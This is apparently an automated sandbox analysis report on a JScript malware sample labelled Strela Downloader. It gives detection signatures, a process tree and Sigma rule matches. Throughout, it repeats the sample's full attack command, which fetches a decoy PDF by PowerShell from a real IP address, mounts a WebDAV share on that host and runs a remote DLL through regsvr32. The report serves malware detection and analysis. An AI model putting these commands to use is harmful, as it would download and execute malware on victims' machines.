Edit tour

Windows Analysis Report
1525641771920916745.js

Overview

General Information

Sample name:	1525641771920916745.js
Analysis ID:	1588638
MD5:	7edb4c4a006e4006aaf9ddab379c15c7
SHA1:	a6d1cdf64e72f51c95b486e61818615a91e3c29f
SHA256:	8b331c0b02948942419d2b8f701a83cd548a742230f6edd61991c687bbad1315
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7400 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7492 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7544 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5660 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,8441464277296318625,12640484241576862725,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7768 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7864 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8060 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7400	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ProcessId: 7400, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ProcessId: 7400, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7544, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7864, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8060, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7864, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7400, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 7492, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1525641771920916745.js

Virustotal: Detection: 10%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1525641771920916745.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1525641771920916745.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1351874980.0000018A5318C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1453843137.000002AC9B4E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1449297697.000002AC9B4FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1457666010.000002AC9B498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: svchost.exe, 00000009.00000002.2631713090.000002734E610000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1455598307.000002734E490000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7400, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1525641771920916745.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osmxe3lj.ehd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1525641771920916745.js

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
